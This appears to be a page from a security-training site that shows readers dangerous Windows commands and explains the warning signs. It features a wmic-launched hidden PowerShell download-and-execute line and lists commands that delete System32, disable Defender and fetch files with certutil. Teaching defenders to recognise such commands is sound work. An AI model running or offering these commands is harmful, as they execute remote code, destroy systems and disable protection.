Dangerous
wmic process call create "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('https://example.com/a')"windows · powershell · Nightmare
Uses a management tool to spawn a hidden PowerShell that downloads and evaluates remote code in memory. Launching through wmic breaks the parent-child relationship defenders look for, and nothing is ever written to disk.
Signals to notice
- Downloads and evaluates code in memory
- Hidden window with no user-visible output
- Process spawned indirectly to break parent-child telemetry
Think you can spot these under time pressure?
Start TrainingMore Windows
Get-ProcessIntermediateRemove-Item -Recurse -Force C:\Windows\System32IntermediateGet-ChildItem -Path C:\Users -Recurse -Filter *.logAdvancedSet-MpPreference -DisableRealtimeMonitoring $trueIntermediatepowershell -nop -w hidden -enc RwBlAHQALQBEAGEAdABlAA==Advancedcertutil.exe -urlcache -split -f https://example.com/update.txt update.txtExpert